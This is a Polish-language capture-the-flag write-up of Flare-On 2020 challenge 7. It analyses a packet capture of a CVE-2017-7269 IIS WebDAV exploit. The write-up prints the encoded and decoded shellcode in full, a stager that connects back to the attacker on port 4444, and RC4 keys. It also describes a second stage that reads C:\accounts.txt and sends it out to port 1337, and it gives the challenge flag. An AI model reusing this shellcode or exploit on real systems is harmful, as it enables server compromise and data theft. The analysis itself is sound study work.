Writeup: FlareOn 2020: 007 - re_crowd

Task description

1. TLDR

recrowd graph

2. Dane wejściowe

Plik z zadaniem znajduje się tutaj. Hasło: flare.

Przedmiot zadania stanowi plik re_crowd.pcapng zawierający nagrany ruch sieciowy. Celem zadania jest ujawnienie danych wykradzionych z serwera.

3. Inspekcja pliku re_crowd.pcapng

Zweryfikowałem plik narzędziem file:

$ file re_crowd.pcapng
re_crowd.pcapng: pcapng capture file - version 1.0

Plik został poprawnie załadowany przez narzędzie Wireshark:

Wireshark loaded

4. Analiza komunikacji

W komunikacji biorą udział dwie maszyny:

Na początku komunikacji nastąpiło odpytanie o adres dla it-dept.reynholm-industries.com:

1. 192.168.68.21 -> 192.168.0.1: DNS: whois it-dept.reynholm-industries.com ?
2. 192.168.68.21 -> 192.168.68.1: DNS: whois it-dept.reynholm-industries.com ?
3. 192.168.68.1 -> 192.168.68.21: DNS: it-dept.reynholm-industries.com: type A, class IN, addr 192.168.68.1

Następnie maszyna 192.168.68.21 przesłała żądanie GET / do hosta it-dept.reynholm-industries.com, w skutek czego pobrała zawartość strony.

Webpage get

Z ruchu sieciowego odzyskałem dane przesyłane przez serwer i zrekonstruowałem stronę www.

Analiza treści strony ujawniła, że jeden z pracowników firmy Reynholm Industries zapisał wrażliwe dane w pliku C:\accounts.txt, który znajdował się na serwerze.

Webpage accounts

5. Eksploitacja

W dalszej części pcapa zaobserwowałem dużą liczbę zapytań PROPFIND przesyłanych do serwera

PROPFIND

Zauważyłem, że prawdopodobnie jest to nagranie próby eksploitacji podatności CVE-2017-7269

Od pakietu 284 do pakietu 302 możemy być świadkami udanej próby eksploitacji. Pobieżna analiza tych pakietów pozwala zauważyć, że po serii zapytań PROPFIND, serwer [.1] wysłał pakiet [SYN] do maszyny [.21] i nawiązał komunikację. Następnie można zauważyć dwie wyróżniające się rozmiarem transmisje danych (pakiety [PSH, ACK]).

Exploitation

6. Analiza eksploita

W treści zapytań PROPFIND przesyłany był shellcode:

VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA
BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLL
BkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8
za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnx
BkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbH
LsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0
npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN
9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP
0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIom
r5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQ
yK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlT
LGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>

Porównanie podobieństwa prefixu VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA przechwyconego shellcode’u oraz eksploitów wykorzystujących podatność CVE-2017-7269 pozwoliło ustalić, że wykorzystany został ten eksploit z bazy exploit-db lub jego modyfikacja.

Shellcode został zakodowany z wykorzystaniem narzędzia Alpha2-encoder, które pozwala zakodować shellcode do znaków drukowanych. O wykorzystaniu tego narzędzia świadczy użycie prefixu VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA, który jest jednym z możliwych wyróżników determinujących metodę kodowania. Analiza źródeł projektu pozwoliła wskazać metodę oraz rejestr, w oparciu o który kodowany był shellcode:

mixedcase_unicode_decoders[] = {
  { "nops",     "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
  { "eax",      "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "ecx",      "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
  { "edx",      "RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "ebx",      "SSYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "esp",      "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "ebp",      "UUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "esi",      "VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "edi",      "WWYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { "[esp]",    "YAIAIAIAIAIAIAIAIAIAIAIAIAIAIA44" mixedcase_unicode_decoder_body },
  { "[esp+4]",  "YUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
  { NULL, NULL }
}

Ustalenie rejestru (esi) pozwoliło wyodrębnić pełny prefix shellcode’u:

VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA
BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB

oraz właściwą część zakodowanego shellcode’u:

YlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZm
jaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVL
faXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nD
nDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1Ipyp
Kyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLri
XfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9o
HUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0V
b3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5
LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn
90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>

Przystąpiłem zatem do napisania dekodera Alpha2-decoder. Po zdekodowaniu…

echo 'YlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMP
GQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16v
nQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXP
dIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0
M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBip
jqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyI
fhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pP
BJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4
RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObh
MDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>' |
 python3 ./alpha2decoder.py -u

…shellcode prezentował się następująco:

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d
01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffac
c1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424
245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b890010000
29c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a84415680200115c89
e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd56a006a0456576802d9c85fff
d58b3681f64b584f528d0e6a406800100000516a006858a453e5ffd58d98000100005356506a0056
53576802d9c85fffd501c329c675ee5b595d555789dfe8100000006b696c6c657276756c74757265
3132335e31c0aafec075fb81ef0001000031db021c0789c280e20f021c168a140786141f881407fe
c075e831dbfec0021c078a140786141f88140702141f8a1417305500454975e55fc351

W celu ułatwienia dalszej analizy shellcodu użyłem narzędzia sc2exe i wygenerowałem plik wykonywalny uruchamiający shellcode.

Analiza ruchu sieciowego oraz shellcode’u ujawniła, że shellcode łączy się do atakującego na port 4444/tcp i pobiera kolejny stage. Dysponując pcapem, wyekstrachowałem payload pobierany na serwer z portu 4444/tcp maszyny atakującego.

Ale co konkretnie robi shellcode z pobranym payloadem?

Dalsza analiza shellcode’u ujawniła, że pobrany payload jest deszyfrowany z wykorzystaniem algorytmu RC4, a kluczem do ustawienia stanu generatora jest “killervulture123”.

rc4

Ostatecznie payload to faktycznie kolejny stage shellcode’u.

Wykorzystując CyberChef odszyfrowałem payload przesłany przez atakującego:

Decrypted payload

Wzbogacony o payload shellcode odczytuje plik C:\accounts.txt oraz szyfruje jego zawartość używając ponownie algorytmu RC4 i klucza “intrepidmango”. Ostatecznie szyfrogram zostaje odesłany na port 1337 maszyny atakującego.

7. Odczytanie flagi

Wystarczy zatem odszyfrować payload odesłany do atakującego na port 1337, który zawiera dane z pliku C:\accounts.txt.

43665783a5238977beac1b1f878f58933f24cf2cd39aa8d111c4bca67fcd38dbb33c034babf560c5
60d20d1d1888415b4f06176c9e0b01739d836018fa8bfff84d78b2a4246faebd92d1eccc2d7c8bbf
d08cbde245ef15b288bca459be20acf957df10babcd911934119009c0225efc44a26fd25ca9b8519
644ec5849fa100182c6830dc704cfe83f1c7002b497a830905776e0a088d56e4387e880f2c41e433
66c9bc06aa2aa1962d94c008161ea4f2811a83f77cb57d6313004196ca6980ae49e95d0f7d8943d4
891a01b46161

Flag plaintext

Zatem poszukiwana flaga to:

h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com